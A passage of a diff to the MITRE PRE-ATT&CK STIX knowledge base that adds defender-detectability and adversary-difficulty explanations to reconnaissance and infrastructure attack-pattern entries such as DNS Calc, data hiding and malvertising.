+            "description": "DNS Calc is a technique in which the octets of an IP address are used to calculate the port  for command and control servers from an initial DNS request. (Citation: CrowdstrikeNumberedPanda) (Citation: FireEyeDarwinsAPTGroup) (Citation: Rapid7G20Espionage)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: There are not currently available tools that provide the ability to conduct this calculation to detect this type of activity.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: This technique assists the adversary in bypassing egress filtering designed to prevent unauthorized communication.  It has been used by APT12, but not otherwise widely reported.  Some botnets are hardcoded to be able to use this technique.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -2056,16 +2172,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "There are not currently available tools that provide the ability to conduct this calculation to detect this type of activity.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "This technique assists the adversary in bypassing egress filtering designed to prevent unauthorized communication.  It has been used by APT12, but not otherwise widely reported.  Some botnets are hardcoded to be able to use this technique."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--1ff8b824-5287-4583-ab6a-013bf36d4864",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Data Hiding",
-            "description": "Certain types of traffic (e.g., DNS tunneling, header inject) allow for user-defined fields. These fields can then be used to hide data. In addition to hiding data in network protocols, steganography techniques can be used to hide data in images or other file formats. Detection can be difficult unless a particular signature is already known. (Citation: BotnetsDNSC2) (Citation: HAMMERTOSS2015) (Citation: DNS-Tunnel)\n\nDetectable by Common Defenses: Yes\n\nDifficulty for the Adversary: No",
+            "description": "Certain types of traffic (e.g., DNS tunneling, header inject) allow for user-defined fields. These fields can then be used to hide data. In addition to hiding data in network protocols, steganography techniques can be used to hide data in images or other file formats. Detection can be difficult unless a particular signature is already known. (Citation: BotnetsDNSC2) (Citation: HAMMERTOSS2015) (Citation: DNS-Tunnel)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: Unless defender is dissecting protocols or performing network signature analysis on any protocol deviations/patterns, this technique is largely undetected.\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: This technique requires a more advanced protocol understanding and testing to insert covert communication into legitimate protocol fields.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -2095,16 +2213,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "Yes",
-            "x_mitre_difficulty_for_adversary": "No"
+            "x_mitre_detectable_by_common_defenses_explanation": "Unless defender is dissecting protocols or performing network signature analysis on any protocol deviations/patterns, this technique is largely undetected.",
+            "x_mitre_difficulty_for_adversary": "No",
+            "x_mitre_difficulty_for_adversary_explanation": "This technique requires a more advanced protocol understanding and testing to insert covert communication into legitimate protocol fields."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--d72c0bc0-3007-418c-842c-328027ebdbc1",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Deploy exploit using advertising",
-            "description": "Exploits spread through advertising (malvertising) involve injecting malicious or malware-laden advertisements into legitimate online advertising networks and webpages. (Citation: TPMalvertising)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Exploits spread through advertising (malvertising) involve injecting malicious or malware-laden advertisements into legitimate online advertising networks and webpages. (Citation: TPMalvertising)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Although some commercial technologies are being advertised which claim to detect malvertising, it largely spreads unknowingly because it doesn't always require an action by a user.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: An adversary can deploy exploits via malvertising using multiple mechanisms.  Such mechanisms include an image ad that is infected, redirection, or using social engineering to get the end user to install the malicious software themselves.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -2126,16 +2246,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Although some commercial technologies are being advertised which claim to detect malvertising, it largely spreads unknowingly because it doesn't always require an action by a user.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "An adversary can deploy exploits via malvertising using multiple mechanisms.  Such mechanisms include an image ad that is infected, redirection, or using social engineering to get the end user to install the malicious software themselves."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--15d5eaa4-597a-47fd-a692-f2bed434d904",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Derive intelligence requirements",
-            "description": "Leadership or key decision makers may derive specific intelligence requirements from Key Intelligence Topics (KITs) or Key Intelligence Questions (KIQs).  Specific intelligence requirements assist analysts in gathering information to establish a baseline of information about a topic or question and collection managers to clarify the types of information that should be collected to satisfy the requirement. (Citation: LowenthalCh4) (Citation: Heffter)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Leadership or key decision makers may derive specific intelligence requirements from Key Intelligence Topics (KITs) or Key Intelligence Questions (KIQs).  Specific intelligence requirements assist analysts in gathering information to establish a baseline of information about a topic or question and collection managers to clarify the types of information that should be collected to satisfy the requirement. (Citation: LowenthalCh4) (Citation: Heffter)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Normally, defender is unable to detect.  Few agencies and commercial organizations may have unique insights.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle.  May not be done by all adversaries.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -2161,16 +2283,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Normally, defender is unable to detect.  Few agencies and commercial organizations may have unique insights.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Normal aspect of adversary planning lifecycle.  May not be done by all adversaries."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--dfa4eaf4-50d9-49de-89e9-d33f579f3e05",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Determine 3rd party infrastructure services",
-            "description": "A wide variety of cloud, virtual private services, hosting, compute, and storage solutions are available as 3rd party infrastructure services. These services could provide an adversary with another avenue of approach or compromise. (Citation: LUCKYCAT2012) (Citation: Schneier-cloud) (Citation: Computerworld-suppliers)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "A wide variety of cloud, virtual private services, hosting, compute, and storage solutions are available as 3rd party infrastructure services. These services could provide an adversary with another avenue of approach or compromise. (Citation: LUCKYCAT2012) (Citation: Schneier-cloud) (Citation: Computerworld-suppliers)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Adversary searches publicly available sources and may find this information on the 3rd party web site listing new customers/clients.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Press releases may reveal this information particularly when it is an expected cost savings or improvement for scalability/reliability.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -2200,16 +2324,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Adversary searches publicly available sources and may find this information on the 3rd party web site listing new customers/clients.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Press releases may reveal this information particularly when it is an expected cost savings or improvement for scalability/reliability."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--856a9371-4f0f-4ea9-946e-f3144204240f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Determine 3rd party infrastructure services",
-            "description": "Infrastructure services includes the hardware, software, and network resources required to operate a communications environment. This infrastructure can be managed by a 3rd party rather than being managed by the owning organization. (Citation: FFIECAwareness) (Citation: Zetter2015Threats)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Infrastructure services includes the hardware, software, and network resources required to operate a communications environment. This infrastructure can be managed by a 3rd party rather than being managed by the owning organization. (Citation: FFIECAwareness) (Citation: Zetter2015Threats)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: The data is passive in nature or not controlled by the defender, so it is hard to identify when an adversary is getting or analyzing the data.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Based on what the 3rd party infrastructure is, there are many tell tail signs which indicate it is hosted by a 3rd party, such as ASN data, MX or CNAME pointers or IP addresses",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -2235,16 +2361,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "The data is passive in nature or not controlled by the defender, so it is hard to identify when an adversary is getting or analyzing the data.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Based on what the 3rd party infrastructure is, there are many tell tail signs which indicate it is hosted by a 3rd party, such as ASN data, MX or CNAME pointers or IP addresses"
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--d45fe3c2-0688-43b9-ac07-7eb86f575e93",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Determine approach/attack vector",
-            "description": "The approach or attack vector outlines the specifics behind how the adversary would like to attack the target.  As additional information is known through the other phases of PRE-ATT&CK, an adversary may update the approach or attack vector. (Citation: CyberAdversaryBehavior) (Citation: WITCHCOVEN2015) (Citation: JP3-60) (Citation: JP3-12 (R)) (Citation: DoD Cyber 2015)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "The approach or attack vector outlines the specifics behind how the adversary would like to attack the target.  As additional information is known through the other phases of PRE-ATT&CK, an adversary may update the approach or attack vector. (Citation: CyberAdversaryBehavior) (Citation: WITCHCOVEN2015) (Citation: JP3-60) (Citation: JP3-12 (R)) (Citation: DoD Cyber 2015)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Normally, defender is unable to detect.  May change for special use cases or adversary and defender overlays.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: This is the normal adversary targeting cycle where they utilize our poor OPSEC practices to their advantage.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -2282,16 +2410,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Normally, defender is unable to detect.  May change for special use cases or adversary and defender overlays.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "This is the normal adversary targeting cycle where they utilize our poor OPSEC practices to their advantage."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--a7dff5d5-99f9-4a7e-ac54-a64113c28121",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Determine centralization of IT management",
-            "description": "Determining if a \"corporate\" help desk exists, the degree of access and control it has, and whether there are \"edge\" units that may have different support processes and standards. (Citation: SANSCentratlizeManagement)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Determining if a \"corporate\" help desk exists, the degree of access and control it has, and whether there are \"edge\" units that may have different support processes and standards. (Citation: SANSCentratlizeManagement)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: No technical means to detect an adversary collecting information about a target.  Any detection would be based upon strong OPSEC policy implementation.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Requires an adversary to undergo a research process to learn the internal workings of an organization.  An adversary can do this by social engineering individuals in the company by claiming to need to find information for the help desk, or through social engineering of former employees or business partners.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -2313,16 +2443,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "No technical means to detect an adversary collecting information about a target.  Any detection would be based upon strong OPSEC policy implementation.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Requires an adversary to undergo a research process to learn the internal workings of an organization.  An adversary can do this by social engineering individuals in the company by claiming to need to find information for the help desk, or through social engineering of former employees or business partners."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--23ecb7e0-0340-43d9-80a5-8971fe866ddf",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Determine domain and IP address space",
-            "description": "Domain Names are the human readable names used to represent one or more IP addresses. IP addresses are the unique identifier of computing devices on a network. Both pieces of information are valuable to an adversary who is looking to understand the structure of a network. (Citation: RSA-APTRecon)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Domain Names are the human readable names used to represent one or more IP addresses. IP addresses are the unique identifier of computing devices on a network. Both pieces of information are valuable to an adversary who is looking to understand the structure of a network. (Citation: RSA-APTRecon)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Public or easily obtainable information by design.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: AS and IANA data are easily available, existing research tools.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -2344,16 +2476,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Public or easily obtainable information by design.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "AS and IANA data are easily available, existing research tools."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--a2fc93cd-e371-4755-9305-2615b6753d91",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Determine external network trust dependencies",
-            "description": "Network trusts enable communications between different networks with specific accesses and permissions. Network trusts could include the implementation of domain trusts or the use of virtual private networks (VPNs). (Citation: CuckoosEgg) (Citation: CuckoosEgg)Wikipedia (Citation: KGBComputerMe)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: No",
+            "description": "Network trusts enable communications between different networks with specific accesses and permissions. Network trusts could include the implementation of domain trusts or the use of virtual private networks (VPNs). (Citation: CuckoosEgg) (Citation: CuckoosEgg)Wikipedia (Citation: KGBComputerMe)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: This is not easily performed remotely and therefore not a detectable event.  If the adversary can sniff traffic to deduce trust relations, this is a passive activity and not detectable.\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: Determining trust relationships once internal to a network is trivial.  Simple tools like trace route can show evidence of firewalls or VPNs and then hosts on the either side of the firewall indicating a different trusted network. Active Directory command line tools can also identify separate trusted networks.\n\nIf completely external to a network, sniffing traffic (if possible) could also reveal the communications protocols that could be guessed to be a trusted network connection (e.g., IPsec, maybe SSL, etc.) though this is error-prone. \n\nWith no other access, this is hard for an adversary to do completely from a remote vantage point.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -2379,16 +2513,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "No"
+            "x_mitre_detectable_by_common_defenses_explanation": "This is not easily performed remotely and therefore not a detectable event.  If the adversary can sniff traffic to deduce trust relations, this is a passive activity and not detectable.",
+            "x_mitre_difficulty_for_adversary": "No",
+            "x_mitre_difficulty_for_adversary_explanation": "Determining trust relationships once internal to a network is trivial.  Simple tools like trace route can show evidence of firewalls or VPNs and then hosts on the either side of the firewall indicating a different trusted network. Active Directory command line tools can also identify separate trusted networks.\n\nIf completely external to a network, sniffing traffic (if possible) could also reveal the communications protocols that could be guessed to be a trusted network connection (e.g., IPsec, maybe SSL, etc.) though this is error-prone. \n\nWith no other access, this is hard for an adversary to do completely from a remote vantage point."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--6baf6388-d49f-4804-86a4-5837240555cd",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Determine firmware version",
-            "description": "Firmware is permanent software programmed into the read-only memory of a device. As with other types of software, firmware may be updated over time and have multiple versions. (Citation: Abdelnur Advanced Fingerprinting)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Firmware is permanent software programmed into the read-only memory of a device. As with other types of software, firmware may be updated over time and have multiple versions. (Citation: Abdelnur Advanced Fingerprinting)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: No easy way for defenders to detect when an adversary collects this information.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Depending upon the target device, there are variable ways for an adversary to determine the firmware version.  In some cases, this information can be derived from easily obtained information.  For example, in [http://www.cisco.com Cisco] devices, the firmware version is easily determined once the device model and OS version is known since it is included in the release notes.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -2410,16 +2546,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "No easy way for defenders to detect when an adversary collects this information.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Depending upon the target device, there are variable ways for an adversary to determine the firmware version.  In some cases, this information can be derived from easily obtained information.  For example, in [http://www.cisco.com Cisco] devices, the firmware version is easily determined once the device model and OS version is known since it is included in the release notes."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--dc7dfc9f-be1b-4e6e-a2e6-9a9bb2400ec9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Determine highest level tactical element",
-            "description": "From a tactical viewpoint, an adversary could potentially have a primary and secondary level target.  The primary target represents the highest level tactical element the adversary wishes to attack.  For example, the corporate network within a corporation or the division within an agency. (Citation: CyberAdversaryBehavior) (Citation: JP3-60) (Citation: JP3-12 (R)) (Citation: DoD Cyber 2015)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "From a tactical viewpoint, an adversary could potentially have a primary and secondary level target.  The primary target represents the highest level tactical element the adversary wishes to attack.  For example, the corporate network within a corporation or the division within an agency. (Citation: CyberAdversaryBehavior) (Citation: JP3-60) (Citation: JP3-12 (R)) (Citation: DoD Cyber 2015)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Normally, defender is unable to detect.  May change for special use cases or adversary and defender overlays.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: This is the normal adversary targeting cycle where they utilize our poor OPSEC practices to their advantage.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -2453,16 +2591,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Normally, defender is unable to detect.  May change for special use cases or adversary and defender overlays.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "This is the normal adversary targeting cycle where they utilize our poor OPSEC practices to their advantage."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--c860af4a-376e-46d7-afbf-262c41012227",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Determine operational element",
-            "description": "If going from strategic down to tactical or vice versa, an  adversary would next consider the operational element.  For example, the specific company within an industry or agency within a government. (Citation: CyberAdversaryBehavior) (Citation: JP3-60) (Citation: JP3-12 (R)) (Citation: DoD Cyber 2015)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "If going from strategic down to tactical or vice versa, an  adversary would next consider the operational element.  For example, the specific company within an industry or agency within a government. (Citation: CyberAdversaryBehavior) (Citation: JP3-60) (Citation: JP3-12 (R)) (Citation: DoD Cyber 2015)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Normally, defender is unable to detect.  May change for special use cases or adversary and defender overlays.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: This is the normal adversary targeting cycle where they utilize our poor OPSEC practices to their advantage.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -2496,16 +2636,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Normally, defender is unable to detect.  May change for special use cases or adversary and defender overlays.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "This is the normal adversary targeting cycle where they utilize our poor OPSEC practices to their advantage."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--2011ffeb-8003-41ef-b962-9d1cbfa35e6d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Determine physical locations",
-            "description": "Physical locality information may be used by an adversary to shape social engineering attempts (language, culture, events, weather, etc.) or to plan for physical actions such as dumpster diving or attempting to access a facility. (Citation: RSA-APTRecon)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Physical locality information may be used by an adversary to shape social engineering attempts (language, culture, events, weather, etc.) or to plan for physical actions such as dumpster diving or attempting to access a facility. (Citation: RSA-APTRecon)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Adversary searches publicly available sources that list physical locations that cannot be monitored by a defender or are not necessarily monitored (e.g., all IP addresses touching their public web space listing physical locations).\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Most corporations now list their locations on public facing websites.  Some challenge still exists to find covert or sensitive locations.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -2527,16 +2669,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Adversary searches publicly available sources that list physical locations that cannot be monitored by a defender or are not necessarily monitored (e.g., all IP addresses touching their public web space listing physical locations).",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Most corporations now list their locations on public facing websites.  Some challenge still exists to find covert or sensitive locations."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--b9148981-152a-4a19-95c1-962803f5c9af",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Determine secondary level tactical element",
-            "description": "The secondary level tactical element the adversary seeks to attack is the specific network or area of a network that is vulnerable to attack.  Within the corporate network example, the secondary level tactical element might be a SQL server or a domain controller with a known vulnerability. (Citation: CyberAdversaryBehavior) (Citation: JP3-60) (Citation: JP3-12 (R)) (Citation: DoD Cyber 2015)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "The secondary level tactical element the adversary seeks to attack is the specific network or area of a network that is vulnerable to attack.  Within the corporate network example, the secondary level tactical element might be a SQL server or a domain controller with a known vulnerability. (Citation: CyberAdversaryBehavior) (Citation: JP3-60) (Citation: JP3-12 (R)) (Citation: DoD Cyber 2015)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Normally, defender is unable to detect.  May change for special use cases or adversary and defender overlays.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: This is the normal adversary targeting cycle where they utilize our poor OPSEC practices to their advantage.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -2570,16 +2714,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Normally, defender is unable to detect.  May change for special use cases or adversary and defender overlays.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "This is the normal adversary targeting cycle where they utilize our poor OPSEC practices to their advantage."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--91a3735f-817a-4450-8ed4-f05a0f5c3877",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Determine strategic target",
-            "description": "An adversary undergoes an iterative target selection process that may begin either broadly and narrow down into specifics (strategic to tactical) or narrowly and expand outward (tactical to strategic).  As part of this process, an adversary may determine a high level target they wish to attack. One example of this may be a particular country, government, or commercial sector. (Citation: CyberAdversaryBehavior) (Citation: JP3-60) (Citation: JP3-12 (R)) (Citation: DoD Cyber 2015)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "An adversary undergoes an iterative target selection process that may begin either broadly and narrow down into specifics (strategic to tactical) or narrowly and expand outward (tactical to strategic).  As part of this process, an adversary may determine a high level target they wish to attack. One example of this may be a particular country, government, or commercial sector. (Citation: CyberAdversaryBehavior) (Citation: JP3-60) (Citation: JP3-12 (R)) (Citation: DoD Cyber 2015)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Normally, defender is unable to detect.  May change for special use cases or adversary and defender overlays.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: This is the normal adversary targeting cycle where they utilize our poor OPSEC practices to their advantage.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -2613,14 +2759,16 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Normally, defender is unable to detect.  May change for special use cases or adversary and defender overlays.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "This is the normal adversary targeting cycle where they utilize our poor OPSEC practices to their advantage."
         },
         {
             "type": "attack-pattern",
